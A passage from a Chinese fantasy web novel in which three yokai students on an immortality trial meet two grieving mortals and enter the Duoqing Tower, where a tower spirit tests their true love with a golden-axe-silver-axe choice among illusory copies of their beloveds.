叶米想到什么，停了下来回头一看，果然已经不见了胡和烈的踪影，她烦躁地皱起眉头，猫眼在人群中扫视一番，
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又皱起鼻子闻了闻，顺着妖味看去，这才发现胡和烈蹲在一个巷口，好像正在欺负两个小孩。
这家伙……她们本就要多行好事，他现在要给她惹什么麻烦？也不怕隔墙有耳、哪个寻常人就是夫子的化身！
谢珍珠自然也瞧见了，一下子瞪大眼睛，看向脸上烧着些怒火的叶米，下意识先劝和：“那个，可能是有误会……”
叶米没管她，扒拉开人群走过去：“胡和烈，你在做什么？”
胡和烈见她来了，凶巴巴的表情还在脸上，提起他手下的那个小男孩道：“这小子欺负人，小爷教训他！”
被拎起来的男孩约七八岁，在他手下惊恐地挣扎，连忙解释道：“我没有欺负晓晓，我没有！”
叶米心想不是胡和烈故意欺负小孩就成：“怎么回事？”
胡和烈瞪着眼睛：“他亲这个女娃娃的嘴！”
叶米：？
她看向边上那个泪眼汪汪的女孩，看着和男孩差不多大，这会儿正揪着衣摆，很是担心地看着亲她嘴的男孩，听胡和烈这么说，她连忙道：“我我、我是愿意的，大哥哥，你放了他好不好？”
叶米呼出一口气，心想这都是什么破事儿，无聊得很：“听见没，她都说自己是乐意的，还不快放了他？”
胡和烈就看着小女孩说：“你这个小姑娘家家，怎么这般不洁身自好？你爹娘没教过你，成亲之前不能和男的亲嘴吗？”
男孩这时候喊道：“我和晓晓青梅竹马，还在爹娘肚子里就已指腹为婚，晓晓迟早是我的娘子，哪里亲不得！”
胡和烈手一紧：“你再狡辩！”
晓晓看他这么凶，哇地一声哭得更大声了，谢珍珠手足无措地去哄她，效果甚微。
叶米的脑里全是喧闹的街况和小孩的哭声，默念了一遍静心经才压下怒火，还算平和道：“胡和烈，你管错事了，马上放了他。”
胡和烈看看她，刚想说什么，忽然觉得手上一疼，惨叫一声松了手，那男孩就脱离了，连忙拉着还在哭泣的晓晓跑进了巷子里，不见了踪影。
胡和烈捂着手站起来，知道是叶米搞得鬼，不满道：“我在做好事！”
叶米收回施了法术的手指，翻白眼：“就算不该小小年纪就亲嘴，但一个愿打一个愿挨，你掺和什么？没听见吗，他们是指腹为婚、青梅竹马。”
胡和烈撇嘴道：“就两个小屁孩，他们懂什么！”
“你很懂？”叶米嗤笑一声，“师父让我们多行善事，不是多管闲事，你分得清善事和闲事吗？不是你觉得该怎么样就怎么样，己所不欲勿施于人的道理还用我告诉你？”
“你！”
“不打紧不打紧……”谢珍珠小心翼翼地冒出头来，“那个，反正他们已经走了，我们还是赶紧去找客栈吧，这这，天都黑了……”
叶米也懒得在这些破事上浪费时间，转身先走了。
胡和烈火还没消，没好气地问谢珍珠：“你也觉得我是在多管闲事？”
5. 第 5 章
谢珍珠真是怎么说都不对，看着叶米走得有些远了，才小声地说：“没有没有，我觉得胡大哥你可能大概也许是做了善事的……”
胡和烈得到了没用的支持，鼻子哼出一股气，这才勉强作罢。
这一边，先走两步的叶米，经过刚刚的小事，敏锐地感到一丝古怪来，她看了看街边，瞧见许多成双成对的男女，年纪上至五六十，下到六七岁。
卖包子的男人有娘子擦汗，说书的老先生有娘子递水，擀面的女人有郎君在边上扇风，吃糖画的小女孩边上有小男孩在给她擦嘴……
虽说瞧见一些情侣也不是稀罕的事，但这数量多到好似这条街上只有她一妖是单身的，这不得不古怪了，但要她说哪里有古怪，又说不上来。
罢了，叶米想，相亲相爱总比打打杀杀好，只要不耽搁她的事就行。
三妖寻了一处普通的客栈打算住一晚，回各自房间里放了行囊后，下来大堂一起吃饭，大堂里坐了不少人，每一寸的空气里都有稀稀疏疏的说话声，叶米咬了一口白馒头，瞥了眼坐在她们左边的一对小情侣。
再瞥几眼，有一家三口，有二男二女，二男一女，二女一男……居然只有一桌是只有两个男人的。
叶米皱了皱眉，心想难道在这村里，男女忌讳不结伴出行？
不懂。
三妖正各怀心思地吃着东西，忽然听门外传来一阵惊慌的喧闹，叶米抬眼看了看门口，又把视线收了回来，真是犯懒得很，一点闲事都不想管，但是那卖桃老太太突然变成师父的恐怖画面时时刻刻在她脑子里回放着——
“出去看看。”她放下馒头，唰地起身。
谢珍珠本还想着自己要怎么说呢，见状喜出望外，连忙应声：“好！”
胡和烈：“啧。”
也是顶着张臭脸，老老实实地跟出去了。
出了客栈的门，挤开围观的围观的人群，就瞧见一个大娘拉着一个身穿白色孝服的年轻女子，两人脸上都是涕泗横流、满脸哀戚。那个大娘苦苦哀求道：“玉儿，你何苦哪，你何苦哪！你能不能为娘着想着想，娘只有你一个女儿——”
她女儿悲伤地摇摇头：“娘，是女儿不孝，可是我早已和伟郎许下海誓山盟，在天愿作比翼鸟，在地愿为连理枝，不求同年同日生，只求同年同日死……”
叶米挑眉：“我以为这句只能在义结金兰的时候用。”
胡和烈吐槽：“反正就是要一起死呗。”
谢珍珠抹泪：“呜呜呜好感人啊……”
“不要啊，不要啊……”大娘直接拉着女子的手跪了下来，看着好不可怜，“你怎么狠心丢下娘啊，女儿！”
“娘！”她女儿想扯开她的手，但扯不开，“是女儿对不住你，但女儿又怎么忍心丢下伟郎呢？他都是为了我才……娘，你就让我去吧……”
除了看这出戏外，三人还听见边上的吃瓜百姓说的前言后语，简而言之就是这个叫郝春玉的姑娘本有个青梅竹马的夫君叫张伟，此人与郝春玉约定，等他科举高中归来就娶她，结果中是中了，但他也被京城的某位宰相千金瞧上，指名要他做入赘女婿。
张伟誓死不从，说自己早已有了约定终身的人，宁可放弃眼前的荣华富贵也要回乡迎娶郝春玉，不料在回来途中遭人暗算，惨死于郝春玉的家门口，两人的最后一面隔着一扇门，还是没见上。
现在张伟死了，马上就要下土安葬，郝春玉得知他的死因后悲痛欲绝，决定自尽后和他同墓共葬，郝春玉她娘亲哪里愿意，于是就出现了如今挽留女儿的一幕。
“太可怜了。”谢珍珠抽抽鼻子，很是感伤，同叶米道，“叶米，我们帮帮她们吧？”
叶米也在心里盘算着这对母女由万妖堂夫子扮演的概率有多高，闻言便道：“怎么帮，是要帮郝春玉去死还是帮她娘不让她死？”
“啊？”谢珍珠一愣，“那、那自然是活着比死了好的。”
叶米秀眉微皱，打量着哭哭啼啼的两人说：“这可说不准，若郝春玉才是夫子的化身，那我们应帮她如愿才是。”
谢珍珠张了张嘴，她可没想过这两人会是夫子化身来考验她们的可能性，手指转了转辫子，不知道怎么说了。
胡和烈在后边发表意见：“不对，我看应该是帮她们找出杀了张伟的真凶，给他报仇才是。”
叶米头也不回道：“你有时间有本事就这么干吧。”
胡和烈：……
他想了想也确实麻烦，撇嘴道：“那你倒是说我们该帮谁？”
叶米看了看哭得上气不接下气的可怜母女俩，双眼微眯，嘴角扯了个很浅的幅度：“若是帮人，最好是顺手而为，既不麻烦又能把好事做了。”
谢珍珠听着有点懵：“啊？什么意思？”
叶米起势法术手决：“我的意思是，救人哪有杀人容易？”
谢珍珠：……？！
“等等……”
可还未等她放出手决，人群中忽然走出来一个男人，到那对母女边上说：“这位姑娘，不知你可否听在下一言？”
郝春玉泪眼婆娑地看着他：“公子请说……”
那个男人道：“在下听说多情塔里藏有观音菩萨玉净瓶中的杨枝甘露，可治百病、甚至使人起死回生。实不相瞒，在下也正要去多情塔，为了取这杨枝甘露回去，救我久病不愈的娘子。”
多情塔？不正是他们要去的地方？
三妖交换了眼神，叶米将手放了下来，暂且按兵不动。
“当真有此事？！”郝春玉绝望的眼泪折射出希冀的光芒，她得到男人肯定的点头之后，又抱着自己的娘继续哭，“娘，我要去多情塔取杨枝甘露，我要救活伟郎，不然我也不想活了！”
她娘听她这样威胁般的恳求，还能说什么，只能点头答应了。
叶米想了想，问边上和好友一起吃瓜看戏的群众道：“这位姑娘，不知那人说的什么多情塔和观音菩萨的杨枝甘露，是确有其事？”
“
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是有这回事。”路人姑娘点点头，不吝啬和她分享，“不过我先前听说，那多情塔中危险重重，还有恶鬼邪妖在此中徘徊不去，那塔在村外，好像隔壁村里的人进入塔中之后，出来都疯了，几乎是六亲不认……啧啧，反正知情的就没人敢去了。”
“原来如此，”叶米道，“多谢。”
谢珍珠听了也有些害怕，抱着胳膊道：“出来都疯了……怎么会这样？不知道我们这次去，是要解决塔里的恶鬼邪妖还是取得杨枝甘露呢，或者二者皆有？”
“怕什么？”胡和烈嫌弃她的胆小，“先前进去的都是些凡人，那能和小爷我相提并论？”
听他自信爆棚的发言，谢珍珠勉强感到一点安慰：“说、说的也是……”
她想到之前林圆圆安慰她的话，也这般安慰自己：叶米和胡和烈的实力在万妖堂里都是名列前茅的，要是她俩都解决不了的难题，那所有妖都不用考核算了。而她这只小螃蟹精，不如趁早打包行囊回海底去。
谢珍珠对两位同学充满了不安心的信心。
隔日一早，三妖就出发往多情塔去，没走半个时辰就到了塔前。
这是一座方形的阁楼式木塔，整个塔不算太高，但也得要人把脖子仰尽了才能看到塔顶，塔身灰扑扑的，木头腐朽破烂，上头彩色的生漆早已变色脱落，不见往日的模样。宝塔的上空笼罩着几片灰沉沉的乌云，明明周边还是晴天。
怎么看都是一座废弃的宝塔，看这破败的景况，周遭阴森森的氛围，说里头有鬼是正常的，有观音的杨枝甘露倒是奇怪了。
叶米走到门前，门上生锈的两个门环上结着蜘蛛丝，她不想碰，就使了法术想要破门，但手中的灵光飞出在门上一闪，不过是让两个门环受惊地敲了两下门，就了无动静了。
胡和烈走上来：“叶米，你这么没用，连这破门都开不了？”
叶米瞥他一眼，走到边上去：“你来。”
胡和烈也用法术一试，但依旧不行。
叶米不错过任何嘲讽他的机会：“脸疼吗？”
胡和烈又一试，还是不行：“啧，这门上有结界？”
谢珍珠见这俩都开不了门，觉得自己也不用不自量力了，眨巴着眼睛看看二妖，弱弱地问：“进不去诶，怎么办？”
叶米退后几步抬头看了看，眉头一挑：“那就从二楼破窗进去。”
这么说着，她腾空而起，眨眼间便到了塔的第二层，很快就有“噔噔噔”“铮铮铮”的砸窗声音传来，听得谢珍珠有些心惊，听了有一会也没停下来，就知道这窗户也是不好破的。
叶米站在塔檐上，思酌着要不施个威力大一些的炸裂术，可她又有些担心破了结界之后，不小心连塔身一起炸没了……
“喂，叶米！”胡和烈忽然在下面喊了一声，“有人来了。”
叶米站得高，一眼就看到了来人是昨天在街上给她们好戏看的郝春玉和劝说郝春玉来多情塔的男人，没想到这两人来得倒是挺快。
6. 第 6 章
她到两人看不见的一侧飞身而下，走到正门时，那两人正好也迎上前来。
“咦，你们几位是……”男人看了看三人，看着年岁都不过二十。
叶米说：“我们来取观音的杨枝甘露。”
“哦！”男人闻言，朝他们客气地拱了拱手，“原来是同道中人，在下陈嘉庆，这位姑娘是郝春玉，我们二人也是来求杨枝甘露以救人性命，不知三位如何称呼？”
郝春玉也朝她们客气地笑了笑，她脸色不大好，眼眶还是红的。
三妖各自报了名字，又说这塔门打不开。
陈嘉庆闻言，倒也不是不信她仨，只是下意识就走上前去把门一推——
嘎吱一声，门开了。
三妖：？
陈嘉庆心道我也没用什么力气啊，怎么她们开不了？他回过头，看见那三个小辈盯着自己，一脸古怪的脸色，自己倒有些不好意思了：“这……这怎么回事呢，哈哈……”
郝春玉道：“既然开了，我们就先进去吧？”
三妖点点头，跟在二人后头进去，谢珍珠见这凡人轻松开了门，小声地和叶米说：“叶米，为什么会这样啊？”
叶米盯着陈嘉庆的后脑勺，摇了摇头：“静观其变。”
“……好。”
二人三妖进入塔中，不等走在最后的胡和烈关门，门“砰”地自动合上了，但前边四位没看见，便没什么反应，知道此事的胡和烈也只是挑了下眉头，没打算说这件小事。
关了门，塔里就是瞧不分明的昏暗，只有从高窗上透进来的阳光让里头不至于漆黑一片，隐约可见这第一层的空荡荒废，不过这点不可见度对三妖来说没什么大碍，倒是走在最前边的陈嘉庆拿出了一盏油灯点亮了。
“请问……”他的声音在空荡荡的空间里还有回声，“有人在吗？”
回应他的只有自己的回声。
“你应该这么问，”叶米在后边提高了音量，“有鬼在吗——”
听到某个关键词，两人都是打了个惊颤，郝春玉脸上的笑容都僵硬了不少，小声道：“叶、叶姑娘，你不要吓奴家了……”
叶米反而疑惑道：“我吓你作甚？你们难道不知道多情塔的传闻？”
“略、略有耳闻……”郝春玉看向陈嘉庆，“陈公子来之前同我说过，不过我们二人觉得这些不过是村民们开玩笑的传闻罢了，做不得真。这多情塔就在我们村子附近，若是其中真有妖鬼，那我们村子怎么会太平呢？”
叶米心想这二人还挺会安慰自己的：“是吗，那若传闻是假的，为何这杨枝甘露迄今都未被人取走，如此珍宝，应该人人趋之若鹜啊。”
她说得好有道理，二人面面相觑，脸上有被揭开粉饰的担忧，可陈嘉庆很快就坚毅道：“不管这塔中有何危险，我都会取来杨枝甘露救我娘子的性命！”
“我也是。”郝春玉仿佛也被他的说辞打了气，“我本就打算随我夫君去死，若是死在塔中，那也认命了。”
“你们二人倒是痴情。”胡和烈挑了下眉，朝深处的梯子抬了抬下巴，“既然你们有赴死的决心，就走在前头打头阵吧。”
二人：……
陈嘉庆努力镇定地点了点头：“好，那就由我走在最前头。”
郝春玉：“陈公子，你不必勉强，其实我也可以……”
“无碍，”陈嘉庆朝几人一笑，“为了救我娘子，我做什么都愿意。”
说罢，他举着油灯，转身先楼梯迈步而去，四人跟在他身后。
没走两步，叶米警惕地察觉到一道视线的窥探，呵下一声“谁”，飞出一道灵光朝那处角落而去，众人只听一声惨叫，纷纷一惊。
谢珍珠和胡和烈还没反应过来，叶米发现只听惨叫不见身影，便知道那是出窍的魂魄在偷看他们，当即元神出窍追逐而去。
“谁、是谁在叫……”陈嘉庆停住了脚步，手中的油灯随着他的动作左右晃了晃，显示出主人的慌张，“谁……”
郝春玉哭红的眼眶瞪得大大的，惊恐地看着黑暗处，早已经失去了言语。
谢珍珠很害怕啊，下意识想要凑到叶米边上，这才发现了叶米睁着眼睛僵着不动，显然是元神出窍了，她怕两个凡人发现此事，连忙将她的眼睛合上，让她靠在自己肩膀上，慌张道：“叶、叶米好像昏过去了……”
胡和烈知道这猫胆胆大包天，怎么可能被一声惨叫吓晕，定是出窍了元神去了，便配合道：“啧，这家伙真是没用。”
虽说这一层都没走上去，进度非常不喜人，但陈嘉庆擦了把冷汗，还是贴心地说：“那、那我们先歇会，等她醒来再走？”
几人都没有异议。
话分两头，叶米追着那魂魄在多情塔中乱窜，没过一会儿就窜上了塔顶，将那魂体逼得无路可退，只好扒拉着墙壁停下来，惊恐地看着步步逼近的叶米：“你你你、你别乱来……”
叶米看那魂魄是个少年人的模样，容貌清秀，穿的衣服和气质都是文绉绉的，周身没有煞气和怨气，明显不是恶鬼，也不像妖怪，但肯定也不是人，不免有些奇怪道：“你是什么东西？”
万情贞哆嗦道：“你这猫妖，说话怎么这么难听……”
叶米其实只是很单纯地问对方是什么东西罢了，并没有骂他的意思，不过她也懒得解释，又逼问他：“你怎么知道我是猫妖？你究竟是谁？”
万情贞咽了咽口水，小声地说：“我、我叫万情贞，是这多情塔的塔灵，奉命在、在此守候观音大士的杨枝甘露……”
“原来是个小塔灵。”叶米上下左右地打量他，越打量越没防备心，“我是万妖堂成仙考核的考生，多情塔是我们路上的第一关，万情贞，速速告诉我如何才能过关。”
这猫妖真没礼貌。
万情贞眼珠子一转：“想、想要过关很简单，只要打开那真情宝盒就好了。”
叶米顺着他手指的反应一看，这塔顶的房间中央有一个小圆桌，上头确实放着一个精美的宝盒，她走近后发现上边没有锁，便扒拉了一下，没打开。
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就在她想着要用术法的时候，万情贞猜中了她的心思：“这是九重天上的宝贝，寻常手段可是打不开的，只有有情人的眼泪才能将其开启，你不用白费力气。”
有情人的眼泪？
叶米想到下边两个嚷嚷着要为了救情人愿意去死的人：“哦，知道了。”
“不，你不知道！”万情贞连忙说，“你是不是想把那两人揪上来哭了了事？”
叶米坦然的神情写着她就是这样想的。
万情贞：……
“咳，你你、你刚刚在塔外开门的时候也瞧见了，这多情塔的每一层都要脚踏实地地走，不能靠术法开门的。这塔里有三关，只有过了这三关的有情人才有资格开真情宝盒。”
“而且！”他忽然提高了点音量，“真情宝盒一百年只能吸收一滴眼泪，若是让无情人落了泪水污染了宝盒，下次只能在一百年后才能开了！”
叶米眉心一皱：“这么麻烦？”
万情贞点点头：“是、是啊……哦，这宝盒中就有他们要寻的杨枝甘露，不过只有一滴。”
一滴，就是只能给一个人用，那自然是可以开启宝盒的有情人。
叶米略一想，便知道她们三妖该做什么，不过是在这三关里分辨出究竟谁是真正的有情人，然后借那人的眼泪开盒子……
这么问完话，她瞅了一眼万情贞，见他确实没什么威胁性，便不再多言，闪身离去。
万情贞送走了这只猫妖，狠狠地松了一口气，还没松完，又担忧地在屋子里来回踱步，忧愁地念叨着：“要是宝盒被开启，我的行踪不就被暴露了？完了完了，月老该怎么罚我，会不会把我撕了、烧了，扔给哮天犬凌辱……啊啊啊！”
“怎么办怎么办，这三只妖可不像那些凡人这么好对付……”
他绞尽脑汁地思考着，忽然灵光一闪，手中显出一本书册，两眼放光地翻了几页：“对了！只要没了有情人不就行了？嘿嘿……”
这一边，叶米回到肉身里睁开眼睛，发现自己躺在谢珍珠跪着的双膝上，见她醒来，谢珍珠低头一笑，六个辫子就垂了下来：“叶米，你醒了！”
叶米扒拉开她的辫子立起身来，几个人都看着她，她“嗯”了一声。
郝春玉关怀地问：“叶姑娘，你没事吧？”
胡和烈语气嘲讽：“能有什么事，就是胆子小呗。”
叶米知道这是她俩找的借口，便翻了个白眼，没有反驳，站起身道：“抱歉耽误了各位的时间，既然我醒了，那就走吧。”
几人点点头表示同意。
谢珍珠贴近叶米，小声地问：“叶米叶米，发生什么了？”
叶米瞅她一眼，用传心术同她俩说了情况，说到“要有情人的眼泪才能打开宝盒”的时候，胡和烈兴奋插嘴：“这还不简单，我现在就把这两人拎上去让他们哭……”
叶米：。
她可悲地发现自己的思维方式居然和这只扑棱蛾子有巧合之处，真是让她觉得丢脸：“……我还没说完。”
7. 第 7 章
她说完之后，胡和烈又骂好麻烦，看起来很是不情愿地接受了这个设定。
谢珍珠又忧心忡忡起来：“听起来挺简单的，不过这杨枝甘露的传闻流传了这么久，还没有人得到手过，想来那三关也是困难重重。”
叶米倒是一点不担心：“不过是第一关，不可能难倒我。”
胡和烈不承让：“谁不是啊。”
谢珍珠就不是啊，不过她松了口气，看着边上淡定的二妖，感到忐忑的安心。
五人走上一层深处的楼梯，上方的转角处黑得严密，陈嘉庆将油灯探入其中，只照亮他自己的手和脚下一层半的台阶。
这诡异的黑暗让他深觉恐怖，不由得咽下了口水，拿出十分的勇气才往上走了一步。他一走上去，整个人随着那点光亮也陷入黑暗之中，眨眼间只留下一点光挂在他后背的衣摆，眼见人都要瞧不见了。
郝春玉一惊，不对劲的思绪还没成型，逐光的本能就让她跟了上去。
后边三妖倒是没急着，胡和烈盯着前方的黑暗道：“有结界。”
叶米一抬下巴：“跟上去。”
谢珍珠偷偷揪住叶米的衣摆，小声地应了一声：“……嗯嗯。”
过结界时，无尽的黑暗仿佛只是闭眼时的错觉，再一睁眼便是明亮的景色，叶米左右看了看，这就是多情塔的二层，四排足有层高的书格铺满了四面墙，书格上的书并不满，但一眼望去也是数不清的。
二人三妖四处张望了一下，没有发现楼梯，就连刚刚上来的楼梯也不见了。
就在他们打探情况之时，身后传来两道声音：
“夫君。”
“玉娘。”
二人惊讶回首，只见身后不远处立着自己的心上人——一位是脸色苍白的柔弱姑娘，一位是头戴青色纶巾的书生。
“娘子！”陈嘉庆几步迎上，半抱住他娘子的肩膀，一脸惊喜和担忧，“你不是在家中修养？为何会在此处？”
杨薇薇朝他一笑，靠在他的怀中说：“奴家还不是担心你……”
而郝春玉也是泪眼婆娑地冲过去抱住了张伟，喜极而泣道：“伟郎，你还活着，我知道你不会丢下我一人的……”
张伟回抱她，脸色哀伤：“玉娘，我如何忍心呢？”
三妖看着这两对有情人重逢的感人画面，三张脸上都有些诡异。
叶米猫瞳一竖，发现这杨薇薇和张伟倒不是鬼怪，不过是逼真的幻觉，她起了手势，正想要用法术破除幻觉，脑海里却闯入一个声音：“叶米，这是他们的情关，不可插手。”
是万情贞的声音。
叶米眼睛一眯，在脑海里问他：“怎么过关？”
万情贞：“你且看着吧。”
他话音一落，杨薇薇和张伟原本空无一人的身后忽然显出无数道身影，转眼间变成了十几个“杨薇薇”和“张伟”，异口同声地喊了“夫君”“玉娘”，声音和语调都是毫无差错的相同。
陈嘉庆和杨薇薇从喜悦中抬起头来，瞧见n个娘子和伟郎，两个人都惊呆了，又瞅瞅自己抱着的这个，顿时撒手也不是、继续抱着也不是。
陈嘉庆看着怀中的娘子，一如往常的温良贤淑，又看看眼前数十个“娘子”，好像也是同样的温良贤淑，他顿时有些结巴道：“怎、怎么回事……”
胡和烈“呵”了一声，抱起胸看好戏：“这还不明显，显然是要你们分辨出真正的杨薇薇和张伟。”
二人闻言，便知道自己抱着的这个可能是假的，犹犹豫豫地撒了手往后退了两步，惊慌地打量起那一个个一模一样的人，越看越迷糊。
郝春玉没看两眼，觉得头脑有些发昏，闭着眼睛摇摇脑袋道：“为什么都长得一模一样，我该如何分辨……”
谢珍珠听过真假美猴王的故事，便提了个意见：“要不、要不你们各自问几个问题，若是都答得上来，是不是就是真的？”
二人刚想说有道理，却听叶米平静道：“真是一模一样的？你们仔细看看。”
二妖都知道她的猫眼练了神功，比寻常眼睛要敏锐几分，听她这么说，也不由得仔细打量起来，这么一看，确实发现这十几个人虽说十分相似，但还未到十分，有人眼角多几道皱纹，有人身上的衣服旧一些，有人还有不同的伤……
再看气质，好似也各有分别。
叶米便说：“不如这样，你们……这么多人，都介绍一下自己，简明扼要一些，突出与他人的不同。”
那十几个杨薇薇和张伟倒是听话，当即就有人开始自我介绍，一个神色有些哀苦的张伟上前一步：
“玉娘，我是伟郎啊，虽说这次科举我不幸落榜，但你相信我，再给我一年时间，我定会功成名就，衣锦还乡来娶你入门。”
郝春玉讶异道：“你、可是，伟郎不是已经高中了吗……”
还未等她反应，一个衣裳有些破旧的伟郎又出来道：“玉娘，经过此次上京赶考的分别，我再也忍不了与你的分离之苦，虽说我这次没考上，但我已下了决心，以后就留在你身旁，与你做一对普通人家的寻常夫妻也是好的……”
郝春玉心里很奇怪，她的伟郎明明是科举高中了之后才死的，为何这二人都说自己没高中？
就在她差点要怀疑自己记错时，有一位神采飞扬的张伟走了出来：
“玉娘，我高中之后有幸得到宰相千金的青睐，我不愿负你，可也拗不过那位大人的权势滔天，不得已娶了他的千金为妻，不过你放心，岳父大人已同意我纳你做妾，我保证，以后会待你如正妻，不会让你受半分委屈。”
郝春玉抖着手捂住了嘴，眼里滚着泪水，不可置信道：“伟郎，你怎么能娶其他的女子，你明明与我允诺，这辈子一生一世一双人……”
“玉娘……”
“玉娘……”
谢珍珠都听傻了，为什么每个人的说辞都不同，到底哪个才是真的？再看陈嘉庆那边，也是相似的情景：
一个笑意温柔的杨薇薇将手搭在了陈嘉庆的手上，引着他来摸自己的小腹，话里是万分柔情：“夫君
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，我还未来得及同你说，我早已有了三月身孕，我好高兴，不枉我做你陈家的媳妇这么多年……”
陈嘉庆的眼里迸发出莫大的喜悦：“娘子，你说的可是真的？”
可这怀孕的杨薇薇还没回答他，又一双手捧着他的脸将他转向自己，这个杨薇薇一边哭一边说：
“夫君，大夫说，若是想要我的顽疾痊愈，必须服一年猛药，可这药吃了，我却不能再为你陈家生儿育女、传宗接代，我、你说我该不该吃呢？”
陈嘉庆看自己梨花带雨的娘子，心都要碎了，为她擦去眼泪：“别哭、别哭，这药自然是要吃的，什么都不如你的身子要紧，子嗣的事，等你养好了病再谈……”
他话音未落，有人拍拍他的肩膀，陈嘉庆怀里抱着一个娘子，回过脑袋看到另一个朝他笑得明媚：
“夫君，原来我并非村里的爹娘所生，我的亲爹是朝廷大官，他派人寻遍大唐名医，终于治好了我的病。这些年来你对我不离不弃，也是我爹该报答你的时候了。”
这好消息砸得陈嘉庆头晕，他几乎是不相信地摇了摇头，脸上露出似梦般的笑：“你、你说什么……”
“他们说的什么玩意？”胡和烈掏掏耳朵，觉得信息量好大，搞得他心烦，干脆都不听了，“难道过这关的方法不是找出真的杨薇薇和张伟？”
谢珍珠也觉得很迷糊：“不知道啊……”
叶米好奇这万情贞究竟想做什么，后者没让她等太久，在陈嘉庆和郝春玉陷入十几个情人的说辞中、一会悲一会喜地快要精神分裂的时候，他水灵灵地就出现了。
所有杨薇薇和张伟都安静下来，几人如有所感地抬起眼，看到一个拳头大的白色光点漂浮在空中，说话时带着缥缈的回音，听着宛如九重天上传来的佛音：
“二位施主……”
陈嘉庆和郝春玉看这架势，直接扑通跪了下来，前者恭敬道：“不知仙人如何称呼？”
叶米嗤笑一声，心里嘲讽：还仙人……不过一个破塔的塔灵，真会装腔作势。
万情贞维持着格调：“不必在意称谓。”
胡和烈给叶米使眼色，与她传音：“这就是你说的塔灵？”
叶米：“嗯。”
胡和烈瞥了眼那个光点：“它身上有仙味。”
仙味？
叶米闻妖味一闻一个准，但她和仙人接触得不多，不过是万妖堂里几个夫子，碰见他们，她也不可能没礼貌地皱鼻子去闻，这会儿听胡和烈这么说，便刻意闻了闻，但没有特别的感觉，心里就怀疑是胡和烈闻错了。
“仙人！”郝春玉给光点磕了一个头，情真意切道，“求仙人指点民女，为何这……有这么多伟郎？哪个才是真的？”
陈嘉庆也磕了个头：“求仙人指点！”
万情贞“呵呵”一笑，和蔼道：“你们二人如此诚心，那我便指点一二。所见即所得，所信即是真，你们相信哪位是你们的情人，哪位便是真的，只要找出你们真正的心之所爱，便能同那人携手离去。”
8. 第 8 章
“……什么？”
陈嘉庆与郝春玉对视一眼，瞧见彼此眼中懵懂的醒悟。
“我、我知道了……”谢珍珠在用传心术开启语音聊天，“原来是金斧头和银斧头的故事！”
叶米：“什么斧头？”
胡和烈：“什么金银？”
谢珍珠：……
这两妖小时候都不看民间故事的吗？
趁着陈嘉庆与郝春玉纠结自己的心爱之人究竟是谁的时候，她简单阐述故事概要：“就是很久很久以前，有一个善良的樵夫，每天都会带着他的铁斧头上山砍树，有一天，他在河边砍树的时候，不小心将斧头掉到了河里，他非常伤心失落，在河边哭了很久……”
叶米皱眉：“丢个斧头有什么好哭的？”
谢珍珠一顿：“……哦，他是这么说的，‘没了斧头我该怎么赚钱养家呢’？”
叶米撇嘴：“如果他靠砍树赚的钱都买不起一把新斧头，那不如丢了，另谋生路。”
谢珍珠：……
胡和烈嫌弃：“砍个树都能把斧头丢了，真是废物。”
“不、不要在意这些小细节嘛。”谢珍珠心说她当时听故事的时候就没想过这些呀，“重点是，很快河中就冒出了一个仙人……”
叶米：“龙王？”
“哦，大概是龙王吧。”谢珍珠挠挠脸，“龙王左手拿着金斧头，右手拿着银斧头，问樵夫说‘你丢的是这个金斧头还是这个银斧头呢’，樵夫说他丢的是个铁斧头。龙王见他没有见财起意，为人诚实善良，便将三把斧头都给了他……”
她说完，看见叶米和胡和烈静静地看着她，好似在等下文，但是这个故事就到这里结束了，谢珍珠左看看叶米、右看看胡和烈，忐忑地问：“你们为什么这样看着我……”
叶米歪了下头：“你还没说如果选金斧头会怎么样。”
胡和烈抬起眉毛：“要是我选了银斧头会给银斧头吗？”
谢珍珠心说故事里也没讲这个发展啊，她又不敢糊弄二妖，只好自己瞎编：“应、应该会吧，师父不是说了吗，神仙不能骗人的……”
她话音未落，就听万情贞做作的声音又响起：“二位可选定了心爱之人？”
三妖回头一看，见陈嘉庆和郝春玉站在一堆杨薇薇和张伟之中，脸上写着“糊里糊涂”四个大字，万情贞语气带笑，听着就能想象出一张笑脸，它好心地问：
“陈公子，你是要这个大病痊愈、已经有了三月身孕的娘子……还是这个亲生父亲是朝廷重官、将来可带你共享荣华富贵的娘子呢？”
陈嘉庆左右两只手臂各被一个杨薇薇抱着，肩上还从背后搭着一个，他整个人茫茫然，摇了摇脑袋，神志恍惚地说不出话。
“郝姑娘，”万情贞又说，“你觉得这个高中状元、侥幸在追杀中逃生，将要娶你做正妻、带你去京城享福的伟郎好呢，还是这个愿意做个小官陪你留在家乡照顾父母、同你一生一世一双人的伟郎好呢？”
郝春玉十根手指头分别被五个人捧在手心，这还是第一排的，每一个伟郎看她的双眼都是情深似海，她感到充盈的爱意，爱到她发昏。
三妖看这情景，听这说辞，不得不觉得确实有点金斧头银斧头那味了。
胡和烈就很在意要是他选了银斧头是不是真的能带走这件事，便出声问道：“喂，他们选的人，真的能带走？”
白色光点没有人样，就不能从他的表情里看出什么说谎的痕迹：“那是自然，神仙可不会骗人。”
他这话仿佛给陈嘉庆和郝春玉下了定心丸，二人若有所思地在几张脸上看了看。
叶米想到胡和烈说万情贞身上有仙味的事，不过：“你不是塔灵吗？”
“……咳。”万情贞战术性咳嗽，“所以你们二位考虑好了吗？”
陈嘉庆：“我……”
“没有。”这句是叶米说的，她说完又转头问谢珍珠，“我不管其他的，你就说，正确的答案是不是选铁斧头？”
谢珍珠不懂她的意思，但还是点了点头：“……嗯。”
“好。”
仿佛选的人是她一般，她好像已经帮人家做了决定，使出一个手决biubiu往背对着她仨的陈嘉庆和郝春玉后脑勺上飞去，那二人好似真被人弹了脑壳一般狠狠抖了一下，忽然扒拉开缠着他们的情人，往地上掷地有声地一跪——
郝春玉的眼泪先流了下来：
“仙人，我谁都不要，只要高中状元后、为了回乡娶我而拒绝宰相惨遭黑手的伟郎，他现在就躺在棺材里等着下葬，他有如今的下场也是为了娶我……仙人，求你赐我杨枝甘露救人！”
陈嘉庆也铿锵有力地抒发他的真情：
“求仙人救救我娘子，我与她是青梅竹马，相伴半生，早已不分彼此，不管她是普通人家的民女亦或是哪位千金贵人，不管她能不能为我生儿育女，她始终是我放在心尖上的人！仙人，求你救命啊——”
刚刚还看着这二人犹犹豫豫的模样、心里非常得意的万情贞，这会有点慌张了，他忍不住诱惑道：“你、你们真的不再好好想想？都是一模一样的人，拥有相同的记忆，为何不选一个更好的？”
郝春玉哭哭啼啼地说：“再好的、最好的，都不是他了……”
“我只要现在的娘子……”
